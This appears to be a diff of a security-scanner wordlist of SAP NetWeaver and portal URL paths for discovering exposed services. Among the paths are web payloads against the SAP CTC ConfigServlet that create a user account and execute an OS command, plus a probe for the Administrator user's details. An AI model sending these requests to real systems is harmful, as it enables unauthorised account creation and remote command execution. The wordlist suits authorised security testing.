|
||||
/sap/bc/MJC
|
||||
/sap/bc/MJC/
|
||||
/sap/bc/MJC/mi_host
|
||||
/sap/bc/MJC/mi_mds
|
||||
/sap/bc/MJC/mi_service
|
||||
/sap/bc/MJC/mi_services
|
||||
/sap/bc/MY_NEW_SERV99
|
||||
/sap/bc/Mi_host_http
|
||||
/sap/bc/Mime
|
||||
/sap/bc/abap/demo
|
||||
/sap/bc/abap/demo_apc
|
||||
/sap/bc/abap/demo_apc_pcp
|
||||
@@ -184,34 +215,34 @@
|
||||
/sap/bc/bsp/sap/certmap
|
||||
/sap/bc/bsp/sap/certreq
|
||||
/sap/bc/bsp/sap/crm_bsp_frame
|
||||
/sap/bc/bsp/sap/crm_ic_ise/editor
|
||||
/sap/bc/bsp/sap/crm_thtmlb_util
|
||||
/sap/bc/bsp/sap/crm_ui_frame
|
||||
/sap/bc/bsp/sap/crm_ui_start
|
||||
/sap/bc/bsp/sap/crmcmp_bpident/
|
||||
/sap/bc/bsp/sap/crmcmp_brfcase
|
||||
/sap/bc/bsp/sap/crmcmp_hdr
|
||||
/sap/bc/bsp/sap/crmcmp_hdr_std
|
||||
/sap/bc/bsp/sap/crmcmp_ic_frame
|
||||
/sap/bc/bsp/sap/crm_ic_ise/editor
|
||||
/sap/bc/bsp/sap/crm_thtmlb_util
|
||||
/sap/bc/bsp/sap/crm_ui_frame
|
||||
/sap/bc/bsp/sap/crm_ui_start
|
||||
/sap/bc/bsp/sap/esh_sapgui_exe
|
||||
/sap/bc/bsp/sap/esh_sap_link
|
||||
/sap/bc/bsp/sap/esh_sapgui_exe
|
||||
/sap/bc/bsp/sap/graph_bsp_test
|
||||
/sap/bc/bsp/sap/graph_bsp_test/Mimes
|
||||
/sap/bc/bsp/sap/gsbirp
|
||||
/sap/bc/bsp/sap/hrrcf_wd_dovru
|
||||
/sap/bc/bsp/sap/htmlb_samples
|
||||
/sap/bc/bsp/sap/ic_frw_notify
|
||||
/sap/bc/bsp/sap/iccmp_bp_cnfirm
|
||||
/sap/bc/bsp/sap/iccmp_hdr_cntnr
|
||||
/sap/bc/bsp/sap/iccmp_hdr_cntnt
|
||||
/sap/bc/bsp/sap/iccmp_header
|
||||
/sap/bc/bsp/sap/iccmp_ssc_ll/
|
||||
/sap/bc/bsp/sap/ic_frw_notify
|
||||
/sap/bc/bsp/sap/it00
|
||||
/sap/bc/bsp/sap/it00/default.htm
|
||||
/sap/bc/bsp/sap/it00/http_client.htm
|
||||
/sap/bc/bsp/sap/it00/http_client_xml.htm
|
||||
/sap/bc/bsp/sap/public/bc
|
||||
/sap/bc/bsp/sap/public/FAA
|
||||
/sap/bc/bsp/sap/public/bc
|
||||
/sap/bc/bsp/sap/public/graphics
|
||||
/sap/bc/bsp/sap/public/sem
|
||||
/sap/bc/bsp/sap/sam_demo
|
||||
@@ -221,17 +252,17 @@
|
||||
/sap/bc/bsp/sap/sbspext_xhtmlb
|
||||
/sap/bc/bsp/sap/spi_admin
|
||||
/sap/bc/bsp/sap/spi_monitor
|
||||
/sap/bc/bsp/sapsrm
|
||||
/sap/bc/bsp/sapsrm/bsp_dhtml_apple
|
||||
/sap/bc/bsp/sapsrm/bsp_java_applet
|
||||
/sap/bc/bsp/sapsrm/call_sig_ctrl
|
||||
/sap/bc/bsp/sapsrm/ctlg_wrapper
|
||||
/sap/bc/bsp/sap/sxms_alertrules
|
||||
/sap/bc/bsp/sap/system
|
||||
/sap/bc/bsp/sap/thtmlb_scripts
|
||||
/sap/bc/bsp/sap/thtmlb_styles
|
||||
/sap/bc/bsp/sap/uicmp_ltx
|
||||
/sap/bc/bsp/sap/xmb_bsp_log
|
||||
/sap/bc/bsp/sapsrm
|
||||
/sap/bc/bsp/sapsrm/bsp_dhtml_apple
|
||||
/sap/bc/bsp/sapsrm/bsp_java_applet
|
||||
/sap/bc/bsp/sapsrm/call_sig_ctrl
|
||||
/sap/bc/bsp/sapsrm/ctlg_wrapper
|
||||
/sap/bc/contentserver
|
||||
/sap/bc/docu
|
||||
/sap/bc/echo
|
||||
@@ -249,23 +280,10 @@
|
||||
/sap/bc/erecruiting/verification
|
||||
/sap/bc/error
|
||||
/sap/bc/error
|
||||
/sap/bc/FormToRfc
|
||||
/sap/bc/FormToRfc/soap
|
||||
/sap/bc/graphics/net
|
||||
/sap/bc/gui/sap/its/CERTREQ
|
||||
/sap/bc/gui/sap/its/designs
|
||||
/sap/bc/gui/sap/its/webgui
|
||||
/sap/bc/IDoc_XML
|
||||
/sap/bc/MIDSD
|
||||
/sap/bc/Mi_host_http
|
||||
/sap/bc/Mime
|
||||
/sap/bc/MJC
|
||||
/sap/bc/MJC/
|
||||
/sap/bc/MJC/mi_host
|
||||
/sap/bc/MJC/mi_mds
|
||||
/sap/bc/MJC/mi_service
|
||||
/sap/bc/MJC/mi_services
|
||||
/sap/bc/MY_NEW_SERV99
|
||||
/sap/bc/ping
|
||||
/sap/bc/report
|
||||
/sap/bc/soap/ici
|
||||
@@ -276,19 +294,23 @@
|
||||
/sap/bc/wdvd
|
||||
/sap/bc/wdvd/
|
||||
/sap/bc/webdynpro
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_ADOBE
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_EVENTS
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_TABLE
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_WINDOW_ERROR
|
||||
/sap/bc/webdynpro/sap/apb_launchpad
|
||||
/sap/bc/webdynpro/sap/apb_launchpad_nwbc
|
||||
/sap/bc/webdynpro/sap/apb_lpd_light_start
|
||||
/sap/bc/webdynpro/sap/apb_lpd_start_url
|
||||
/sap/bc/webdynpro/sap/application_exit
|
||||
/sap/bc/webdynpro/sap/appl_log_trc_viewer
|
||||
/sap/bc/webdynpro/sap/appl_soap_management
|
||||
/sap/bc/webdynpro/sap/application_exit
|
||||
/sap/bc/webdynpro/sap/ccmsbi_wast_extr_testenv
|
||||
/sap/bc/webdynpro/sap/cnp_light_test
|
||||
/sap/bc/webdynpro/sap/configure_application
|
||||
/sap/bc/webdynpro/sap/configure_component
|
||||
/sap/bc/webdynpro/sap/esh_admin_ui_component
|
||||
/sap/bc/webdynpro/sap/esh_adm_smoketest_ui
|
||||
/sap/bc/webdynpro/sap/esh_admin_ui_component
|
||||
/sap/bc/webdynpro/sap/esh_eng_modelling
|
||||
/sap/bc/webdynpro/sap/esh_search_results.ui
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_dovr_ui
|
||||
@@ -314,25 +336,20 @@
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_substitution_admin
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_substitution_manager
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_tp_assess
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unreg_job_search
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unverified_cand
|
||||
/sap/bc/webdynpro/sap/sh_adm_smoketest_files
|
||||
/sap/bc/webdynpro/sap/wd_analyze_config_appl
|
||||
/sap/bc/webdynpro/sap/wd_analyze_config_comp
|
||||
/sap/bc/webdynpro/sap/wd_analyze_config_user
|
||||
/sap/bc/webdynpro/sap/wdhc_application
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_ADOBE
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_EVENTS
|
||||
/sap/bc/webdynpro/sap/wdr_test_popups_rt
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_TABLE
|
||||
/sap/bc/webdynpro/sap/wdr_test_ui_elements
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_WINDOW_ERROR
|
||||
/sap/bc/webrfc
|
||||
/sap/bc/workflow/shortcut
|
||||
/sap/bc/xrfc
|
||||
/sap/bc/xrfc_test
|
||||
/sap/BSSP_SP_MAPS
|
||||
/sap/crm
|
||||
/sap/es/atk
|
||||
/sap/es/cockpit
|
||||
@@ -347,16 +364,39 @@
|
||||
/sap/gw
|
||||
/sap/gw/bep
|
||||
/sap/gw/jsonrpc
|
||||
/SAPIKS
|
||||
/SAPIKS2
|
||||
/SAPIKS2/contentShow.sap
|
||||
/SAPIKS2/jsp/adminShow.jsp
|
||||
/SAPIrExtHelp
|
||||
/sap/IStest
|
||||
/sapmc/sapmc.html
|
||||
/sap/monitoring/
|
||||
/sap/public
|
||||
/sap/public/BusinessSuite
|
||||
/sap/public/BusinessSuite/BCV
|
||||
/sap/public/BusinessSuite/BSSP
|
||||
/sap/public/BusinessSuite/CBESH_ICONS
|
||||
/sap/public/BusinessSuite/CloCo
|
||||
/sap/public/BusinessSuite/TM
|
||||
/sap/public/BusinessSuite/TM/FlashIslands
|
||||
/sap/public/BusinessSuite/TM/Icons
|
||||
/sap/public/BusinessSuite/TM/Icons_rtl
|
||||
/sap/public/E2EALERT
|
||||
/sap/public/ES
|
||||
/sap/public/HRPDV
|
||||
/sap/public/HRPDV/Icons
|
||||
/sap/public/HRRenewal
|
||||
/sap/public/HRRenewal/PB
|
||||
/sap/public/LSOFE
|
||||
/sap/public/LSOFE/IconLarge
|
||||
/sap/public/LSOFE/IconLarge/CORBU
|
||||
/sap/public/LSOFE/IconLarge/TRADESHOW
|
||||
/sap/public/LSOFE/Pictogram
|
||||
/sap/public/LSOFE/Pictogram/CORBU
|
||||
/sap/public/LSOFE/Pictogram/TRADESHOW
|
||||
/sap/public/PPM
|
||||
/sap/public/PPM/PFM
|
||||
/sap/public/PPM/PFM/BCV
|
||||
/sap/public/PPM/PFM/UI
|
||||
/sap/public/PPM/PRO
|
||||
/sap/public/bc
|
||||
/sap/public/bc/AR_NEWS_REDRCT
|
||||
/sap/public/bc/NWDEMO_MODEL
|
||||
/sap/public/bc/NW_ESH_TST_AUTO
|
||||
/sap/public/bc/abap
|
||||
/sap/public/bc/abap/docu
|
||||
/sap/public/bc/abap/mime_demo
|
||||
@@ -364,7 +404,6 @@
|
||||
/sap/public/bc/apc_test
|
||||
/sap/public/bc/apc_test/apc_tcp_test_sf
|
||||
/sap/public/bc/apc_test/apc_tcp_test_sl
|
||||
/sap/public/bc/AR_NEWS_REDRCT
|
||||
/sap/public/bc/bpo
|
||||
/sap/public/bc/bsp
|
||||
/sap/public/bc/clms
|
||||
@@ -388,8 +427,6 @@
|
||||
/sap/public/bc/its/mobile/test
|
||||
/sap/public/bc/its/scripts
|
||||
/sap/public/bc/jsm
|
||||
/sap/public/bc/NWDEMO_MODEL
|
||||
/sap/public/bc/NW_ESH_TST_AUTO
|
||||
/sap/public/bc/pictograms
|
||||
/sap/public/bc/qgm
|
||||
/sap/public/bc/sec
|
||||
@@ -410,13 +447,13 @@
|
||||
/sap/public/bc/ur
|
||||
/sap/public/bc/wdtracetool
|
||||
/sap/public/bc/webdynpro
|
||||
/sap/public/bc/webdynpro/adobechallenge
|
||||
/sap/public/bc/webdynpro/adobeChallenge
|
||||
/sap/public/bc/webdynpro/mimes
|
||||
/sap/public/bc/webdynpro/Polling
|
||||
/sap/public/bc/webdynpro/ViewDesigner
|
||||
/sap/public/bc/webdynpro/adobeChallenge
|
||||
/sap/public/bc/webdynpro/adobechallenge
|
||||
/sap/public/bc/webdynpro/mimes
|
||||
/sap/public/bc/webdynpro/ssr
|
||||
/sap/public/bc/webdynpro/viewdesigner
|
||||
/sap/public/bc/webdynpro/ViewDesigner
|
||||
/sap/public/bc/webicons
|
||||
/sap/public/bc/workflow
|
||||
/sap/public/bc/workflow/shortcut
|
||||
@@ -424,31 +461,16 @@
|
||||
/sap/public/bsp/sap
|
||||
/sap/public/bsp/sap/htmlb
|
||||
/sap/public/bsp/sap/public
|
||||
/sap/public/bsp/sap/public/FAA
|
||||
/sap/public/bsp/sap/public/ISE
|
||||
/sap/public/bsp/sap/public/SEM
|
||||
/sap/public/bsp/sap/public/bc
|
||||
/sap/public/bsp/sap/public/faa
|
||||
/sap/public/bsp/sap/public/FAA
|
||||
/sap/public/bsp/sap/public/graphics
|
||||
/sap/public/bsp/sap/public/graphics/jnet_handler
|
||||
/sap/public/bsp/sap/public/graphics/mimes
|
||||
/sap/public/bsp/sap/public/ISE
|
||||
/sap/public/bsp/sap/public/SEM
|
||||
/sap/public/bsp/sap/system
|
||||
/sap/public/bsp/sap/system_public
|
||||
/sap/public/BusinessSuite
|
||||
/sap/public/BusinessSuite/BCV
|
||||
/sap/public/BusinessSuite/BSSP
|
||||
/sap/public/BusinessSuite/CBESH_ICONS
|
||||
/sap/public/BusinessSuite/CloCo
|
||||
/sap/public/BusinessSuite/TM
|
||||
/sap/public/BusinessSuite/TM/FlashIslands
|
||||
/sap/public/BusinessSuite/TM/Icons
|
||||
/sap/public/BusinessSuite/TM/Icons_rtl
|
||||
/sap/public/E2EALERT
|
||||
/sap/public/ES
|
||||
/sap/public/HRPDV
|
||||
/sap/public/HRPDV/Icons
|
||||
/sap/public/HRRenewal
|
||||
/sap/public/HRRenewal/PB
|
||||
/sap/public/icf_check
|
||||
/sap/public/icf_info
|
||||
/sap/public/icf_info/icr_groups
|
||||
@@ -457,23 +479,14 @@
|
||||
/sap/public/icf_info/urlprefix
|
||||
/sap/public/icman
|
||||
/sap/public/icman/ping
|
||||
/sap/public/icmandir/its/kernel_version.info
|
||||
/sap/public/icmandir/last_update_ITS.txt
|
||||
/sap/public/icmandir/last_update_icmadmin.txt
|
||||
/sap/public/info
|
||||
/sap/public/LSOFE
|
||||
/sap/public/LSOFE/IconLarge
|
||||
/sap/public/LSOFE/IconLarge/CORBU
|
||||
/sap/public/LSOFE/IconLarge/TRADESHOW
|
||||
/sap/public/LSOFE/Pictogram
|
||||
/sap/public/LSOFE/Pictogram/CORBU
|
||||
/sap/public/LSOFE/Pictogram/TRADESHOW
|
||||
/sap/public/myssocntl
|
||||
/sap/public/opu
|
||||
/sap/public/opu/resources
|
||||
/sap/public/ping
|
||||
/sap/public/PPM
|
||||
/sap/public/PPM/PFM
|
||||
/sap/public/PPM/PFM/BCV
|
||||
/sap/public/PPM/PFM/UI
|
||||
/sap/public/PPM/PRO
|
||||
/sap/wdisp/admin
|
||||
/sap/wdvd
|
||||
/sap/webcuif
|
||||
@@ -485,26 +498,20 @@
|
||||
/sap/webdynpro/sap/hrtmc_ta_assessment
|
||||
/sap/webdynpro/sap/hrtmc_ta_dashboard
|
||||
/sap/webdynpro/sap/wd_analyze_config_user
|
||||
/sapmc/sapmc.html
|
||||
/scripts/wgate
|
||||
/servlet/com.sap.admin.Critical.Actio
|
||||
/sim/
|
||||
/sim/config/testdata.jsp
|
||||
/sim/config/testerror.jsp
|
||||
/sim/index.html
|
||||
/SLDStart/plain
|
||||
/SLDStart/secure
|
||||
/socoview
|
||||
/socoview/flddisplay.asp
|
||||
/SQLtrace/index.html
|
||||
/sysconfig
|
||||
/tc/lm/webadmin/clusteradmin
|
||||
/tc.lm.webadmin.endtoend.public.app
|
||||
/tc/lm/webadmin/clusteradmin
|
||||
/teched/test
|
||||
/TestJDBC_Web
|
||||
/TOdbo
|
||||
/top.html
|
||||
/TSapq
|
||||
/TXmla
|
||||
/uddi/
|
||||
/uddiclient
|
||||
/uddiclient/jsps/index.jsp
|
||||
@@ -512,7 +519,6 @@
|
||||
/useradmin
|
||||
/userhome
|
||||
/utl/UsageTypesInfo
|
||||
/VC
|
||||
/vscantest/
|
||||
/webdynpro/dispatcher
|
||||
/webdynpro/dispatcher/
|
||||
@@ -530,14 +536,11 @@
|
||||
/webdynpro/dispatcher/sap.com/tc~slm~ui_lup/LUP
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~dispwda/servlet_jsp/webdynpro/welcome/root/Welcome.jsp
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools/explorer
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools/WebDynproConsole
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools/explorer
|
||||
/webdynpro/dispatcher/virsa/ccappcomp/ComplianceCalibrator
|
||||
/webdynpro/resources/sap.com/
|
||||
/webdynpro/welcome/Welcome.jsp
|
||||
/WSConnector/Config1
|
||||
/WSConnector/Config1?wsdl
|
||||
/WSConnector/Config?wsdl
|
||||
/wsd2wsdl
|
||||
/wsnavigator
|
||||
/wsnavigator/jsps/index.jsp
|
||||
@@ -547,3 +550,1084 @@
|
||||
/wssproc/cert
|
||||
/wssproc/plain
|
||||
/wssproc/ssl
|
||||
@download@
|
||||
ADS-EJB
|
||||
ADS-License
|
||||
AE/index.jsp
|
||||
Adobe
|
||||
AdobeDocumentServices/Config
|
||||
AdobeDocumentServices/Config?wsdl
|
||||
AdobeDocumentServices/Grmg
|
||||
AdobeDocumentServicesSec/Config
|
||||
ApplicationAdminProvider
|
||||
BI_UDC
|
||||
BizcCommLayerAuthoring/Config1
|
||||
BizcCommLayerAuthoring/Config1?wsdl
|
||||
BizcCommLayerUtilities/Config1
|
||||
CAFDataService/Config
|
||||
CAFDataService/Config?wsdl
|
||||
CMSRTS/Config1
|
||||
CMSRTS/Config1?wsdl
|
||||
DataArchivingService
|
||||
GRMGHeartBeat
|
||||
GRMGWSTest/service
|
||||
GRMGWSTest/service?wsdl
|
||||
IGSCustomizingXML
|
||||
IciActionItemService/IciActionItemConf
|
||||
IciActionItemService/IciActionItemConf?wsdl
|
||||
IciChatLineService/IciChatLineConf
|
||||
IciChatLineService/IciChatLineConf?wsdl
|
||||
IciChatSessionService/IciChatSessionConf
|
||||
IciContainerService/IciContainerConf
|
||||
IciEventService/
|
||||
IciEventService/IciEventConf
|
||||
IciEventService/IciEventConf?wsdl
|
||||
IciEventService/sap
|
||||
IciFolderService/IciFolderConf
|
||||
IciFolderService/IciFolderConf?wsdl
|
||||
IciItemService/IciItemConf
|
||||
IciItemService/IciItemConf?wsdl
|
||||
IciMessageService/IciMessageConf
|
||||
IciMessageService/IciMessageConf?wsdl
|
||||
IciMonitorService/IciMonitorConf
|
||||
IciMonitorService/IciMonitorConf?wsdl
|
||||
IciPhoneCallService/IciPhoneCallConf
|
||||
IciPhoneCallService/IciPhoneCallConf?wsdl
|
||||
IciPhoneLineService/IciPhoneLineConf
|
||||
IciSystemService/IciSystemConf
|
||||
IciSystemService/IciSystemConf?wsdl
|
||||
IciUserService/IciUserConf
|
||||
IciUserService/IciUserConf?wsdl
|
||||
KW
|
||||
Lighthammer
|
||||
Modeler
|
||||
OpenSQLMonitors
|
||||
OpenSQLMonitors/
|
||||
OpenSQLMonitors/index.html
|
||||
PerformacetraceTraceApplication
|
||||
RE/index.jsp
|
||||
SAPIKS
|
||||
SAPIKS2
|
||||
SAPIKS2/contentShow.sap
|
||||
SAPIKS2/jsp/adminShow.jsp
|
||||
SAPIrExtHelp
|
||||
SLDStart/plain
|
||||
SLDStart/secure
|
||||
SQLTrace
|
||||
SQLtrace/index.html
|
||||
TOdbo
|
||||
TSapq
|
||||
TXmla
|
||||
TestJDBC_Web
|
||||
VC
|
||||
WSConnector/Config1
|
||||
WSConnector/Config1?wsdl
|
||||
WSConnector/Config2
|
||||
_default
|
||||
apidocs/
|
||||
apidocs/allclasses-frame.html
|
||||
apidocs/com/sap/engine/connector/connection/IConnection.html
|
||||
apidocs/com/sap/engine/deploy/manager/Deploymanager.html
|
||||
apidocs/com/sap/engine/deploy/manager/DeploymanagerFactory.html
|
||||
apidocs/com/sap/engine/deploy/manager/LoginInfo.html
|
||||
bcb
|
||||
bcb/
|
||||
bcb/bcbadmHome.jsp
|
||||
bcb/bcbadmNavigation.jsp
|
||||
bcb/bcbadmSettings.jsp
|
||||
bcb/bcbadmStart.jsp
|
||||
bcb/bcbadmSystemInfo.jsp
|
||||
bcbtest
|
||||
bcbtest/start.jsp
|
||||
bwtest
|
||||
caf
|
||||
ccsui
|
||||
com~tc~lm~webadmin~httpprovider~web
|
||||
ctc
|
||||
ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=blabla,PASSWORD=blabla
|
||||
ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig%20/all
|
||||
dispatcher
|
||||
dswsbobje
|
||||
dtr_lite
|
||||
ecatt
|
||||
entrypoints/recent
|
||||
examples
|
||||
examples.html
|
||||
examples/
|
||||
examples_frame.html
|
||||
exchangeProfile
|
||||
exchangeProfile/
|
||||
guid/e067540a-a84c-2d10-77bf-c941bb5a9c7a
|
||||
htmlb
|
||||
htmlb/
|
||||
htmlb/index.html
|
||||
index.html
|
||||
inspection.wsil
|
||||
ipcpricing/ui/
|
||||
irj
|
||||
irj/go/km/basicsearch
|
||||
irj/go/km/details
|
||||
irj/go/km/docs
|
||||
irj/go/km/docs/etc/public/mimes/images
|
||||
irj/go/km/docs/etc/xmlforms
|
||||
irj/go/km/docs/ume/users
|
||||
irj/go/km/highlightedcontent
|
||||
irj/go/km/navigation
|
||||
irj/go/km/navigation/
|
||||
irj/go/km/navigation/ume/users
|
||||
irj/portal
|
||||
irj/portalapps
|
||||
irj/portalapps/com.petsmart.portal.navigation.masthead.idle_logout
|
||||
irj/portalapps/com.sap.portal.design.portaldesigndata
|
||||
irj/portalapps/com.sap.portal.design.urdesigndata
|
||||
irj/portalapps/com.sap.portal.epcf.loader
|
||||
irj/portalapps/com.sap.portal.navigation.detailedtree
|
||||
irj/sdn/soa-discovery
|
||||
irj/servlet
|
||||
irj/servlet/prt
|
||||
irj/servlet/prt/portal
|
||||
irj/servlet/prt/portal/
|
||||
irj/servlet/prt/portal/prtroot
|
||||
irj/servlet/prt/portal/prtroot/PortalAnywhere.Go
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.basicsearch
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.docs -> webdav
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.highlightedcontent
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.navigation
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.uidetails
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.home_ws
|
||||
irj/servlet/prt/portal/prtroot/com.sap.netweaver.kmc.people.PeopleDetails?Uri=/ume/users/USER.PRIVATE_DATASOURCE.un%253AAdministrator.usr
|
||||
irj/servlet/prt/portal/prtroot/com.sap.portal.dsm.terminator
|
||||
irj/servlet/prt/portal/prtroot/com.sap.portal.epcf.loader.wdscriptblockprovider
|
||||
irj/servlet/prt/portal/prtroot/pcd!(*)
|
||||
irj/servlet/prt/portal/prttarget/uidpwlogon/prteventname/performchangepassword
|
||||
lcrabapapi
|
||||
logon
|
||||
logon/index.jsp
|
||||
logon/logonServlet
|
||||
logon/logonServlet?redirectURL=%2FVC%2Fdefault.jsp
|
||||
logon/logonServlet?redirectURL=%2Fuseradmin%2FuserAdminServlet
|
||||
main.html
|
||||
mbeanreg
|
||||
meSync
|
||||
meSync/HttpGRMGTest.html
|
||||
mmr
|
||||
mmr/
|
||||
modeller/
|
||||
modeller/index.html
|
||||
monitoring
|
||||
monitoringProvierRoot
|
||||
nwa
|
||||
performanceProvierRoot
|
||||
pmi
|
||||
portal
|
||||
portalapps
|
||||
rep/build_info.html
|
||||
rep/build_info.jsp
|
||||
rep/start/index.jsp
|
||||
run/build_info.html
|
||||
run/build_info.jsp
|
||||
rwb/version.html
|
||||
saml
|
||||
samlssodemo_dest
|
||||
samlssodemo_source
|
||||
sap
|
||||
sap/
|
||||
sap/IStest
|
||||
sap/admin
|
||||
sap/admin/default.html
|
||||
sap/admin/index.html
|
||||
sap/ap
|
||||
sap/bc
|
||||
sap/bc/
|
||||
sap/bc/BEx
|
||||
sap/bc/FormToRfc
|
||||
sap/bc/FormToRfc/soap
|
||||
sap/bc/IDoc_XML
|
||||
sap/bc/MIDSD
|
||||
sap/bc/MJC
|
||||
sap/bc/MJC/
|
||||
sap/bc/MJC/mi_host
|
||||
sap/bc/MJC/mi_mds
|
||||
sap/bc/MJC/mi_service
|
||||
sap/bc/MJC/mi_services
|
||||
sap/bc/MY_NEW_SERV99
|
||||
sap/bc/Mi_host_http
|
||||
sap/bc/Mime
|
||||
sap/bc/bsp
|
||||
sap/bc/bsp/
|
||||
sap/bc/bsp/esh_os_service/favicon.gif
|
||||
sap/bc/bsp/sap
|
||||
sap/bc/bsp/sap/
|
||||
sap/bc/bsp/sap/SXSLT_DEMO
|
||||
sap/bc/bsp/sap/absenceform_new
|
||||
sap/bc/bsp/sap/alertinbox
|
||||
sap/bc/bsp/sap/alertinboxwap
|
||||
sap/bc/bsp/sap/bexlogon
|
||||
sap/bc/bsp/sap/bkbtest
|
||||
sap/bc/bsp/sap/bkbtest_sch
|
||||
sap/bc/bsp/sap/brf_export_xml
|
||||
sap/bc/bsp/sap/brf_info
|
||||
sap/bc/bsp/sap/bsp_dlc_frcmp
|
||||
sap/bc/bsp/sap/bsp_model
|
||||
sap/bc/bsp/sap/bsp_veri
|
||||
sap/bc/bsp/sap/bsp_verificatio
|
||||
sap/bc/bsp/sap/bsp_vhelp
|
||||
sap/bc/bsp/sap/bsp_wd_base
|
||||
sap/bc/bsp/sap/bsp_wd_comp_spl
|
||||
sap/bc/bsp/sap/bsp_wd_compbase
|
||||
sap/bc/bsp/sap/bsp_wd_ddlb_spl
|
||||
sap/bc/bsp/sap/bsp_wd_tree_spl
|
||||
sap/bc/bsp/sap/bspwd_basics
|
||||
sap/bc/bsp/sap/bspwd_cmp_embed
|
||||
sap/bc/bsp/sap/bspwd_simple
|
||||
sap/bc/bsp/sap/btf_ext_demo
|
||||
sap/bc/bsp/sap/ccms_mc
|
||||
sap/bc/bsp/sap/certmap
|
||||
sap/bc/bsp/sap/certreq
|
||||
sap/bc/bsp/sap/crm_bm
|
||||
sap/bc/bsp/sap/crm_bsp_bab_dis
|
||||
sap/bc/bsp/sap/crm_bsp_bab_dss
|
||||
sap/bc/bsp/sap/crm_bsp_bab_exi
|
||||
sap/bc/bsp/sap/crm_bsp_bab_fra
|
||||
sap/bc/bsp/sap/crm_bsp_bab_pan
|
||||
sap/bc/bsp/sap/crm_bsp_f1_help
|
||||
sap/bc/bsp/sap/crm_bsp_f4_help
|
||||
sap/bc/bsp/sap/crm_bsp_face
|
||||
sap/bc/bsp/sap/crm_bsp_frame
|
||||
sap/bc/bsp/sap/crm_bsp_listper
|
||||
sap/bc/bsp/sap/crm_bsp_lst_prt
|
||||
sap/bc/bsp/sap/crm_bsp_xbab_fr
|
||||
sap/bc/bsp/sap/crm_bsp_xbab_pa
|
||||
sap/bc/bsp/sap/crm_ei_cmp_admn
|
||||
sap/bc/bsp/sap/crm_ic_check
|
||||
sap/bc/bsp/sap/crm_ic_ise
|
||||
sap/bc/bsp/sap/crm_ic_ise/editor
|
||||
sap/bc/bsp/sap/crm_ic_mcm
|
||||
sap/bc/bsp/sap/crm_ic_preview
|
||||
sap/bc/bsp/sap/crm_ic_xmledit
|
||||
sap/bc/bsp/sap/crm_ici_tst_cat
|
||||
sap/bc/bsp/sap/crm_ml_preview
|
||||
sap/bc/bsp/sap/crm_preview
|
||||
sap/bc/bsp/sap/crm_prt_url_dis
|
||||
sap/bc/bsp/sap/crm_thtmlb_util
|
||||
sap/bc/bsp/sap/crm_ui_frame
|
||||
sap/bc/bsp/sap/crm_ui_start
|
||||
sap/bc/bsp/sap/crm_xml_test
|
||||
sap/bc/bsp/sap/crmcmp_bpident/
|
||||
sap/bc/bsp/sap/crmcmp_brfcase
|
||||
sap/bc/bsp/sap/crmcmp_hdr
|
||||
sap/bc/bsp/sap/crmcmp_hdr_std
|
||||
sap/bc/bsp/sap/crmcmp_ic_frame
|
||||
sap/bc/bsp/sap/decode_url
|
||||
sap/bc/bsp/sap/ecteched
|
||||
sap/bc/bsp/sap/esh_sap_link
|
||||
sap/bc/bsp/sap/esh_sapgui_exe
|
||||
sap/bc/bsp/sap/frontend_print
|
||||
sap/bc/bsp/sap/graph_bsp_test
|
||||
sap/bc/bsp/sap/graph_bsp_test/Mimes
|
||||
sap/bc/bsp/sap/graph_tut_chart
|
||||
sap/bc/bsp/sap/graph_tut_chart/Mimes
|
||||
sap/bc/bsp/sap/graph_tut_jnet
|
||||
sap/bc/bsp/sap/graph_tut_jnet/Mimes
|
||||
sap/bc/bsp/sap/graph_tutorials
|
||||
sap/bc/bsp/sap/graph_tutorials/mimes
|
||||
sap/bc/bsp/sap/gsbirp
|
||||
sap/bc/bsp/sap/hap_document
|
||||
sap/bc/bsp/sap/hap_q_profile
|
||||
sap/bc/bsp/sap/hr_expert
|
||||
sap/bc/bsp/sap/htmlb_samples
|
||||
sap/bc/bsp/sap/ic_base
|
||||
sap/bc/bsp/sap/ic_frw_notify
|
||||
sap/bc/bsp/sap/iccmp_bp_cnfirm
|
||||
sap/bc/bsp/sap/iccmp_hdr_cntnr
|
||||
sap/bc/bsp/sap/iccmp_hdr_cntnt
|
||||
sap/bc/bsp/sap/iccmp_header
|
||||
sap/bc/bsp/sap/iccmp_ssc_ll/
|
||||
sap/bc/bsp/sap/icf
|
||||
sap/bc/bsp/sap/icf_notify_poll
|
||||
sap/bc/bsp/sap/icfrecorder
|
||||
sap/bc/bsp/sap/icm
|
||||
sap/bc/bsp/sap/it00
|
||||
sap/bc/bsp/sap/it01
|
||||
sap/bc/bsp/sap/it02
|
||||
sap/bc/bsp/sap/it03
|
||||
sap/bc/bsp/sap/it04
|
||||
sap/bc/bsp/sap/it05
|
||||
sap/bc/bsp/sap/itsm
|
||||
sap/bc/bsp/sap/me_fw_install
|
||||
sap/bc/bsp/sap/merep_app_meta
|
||||
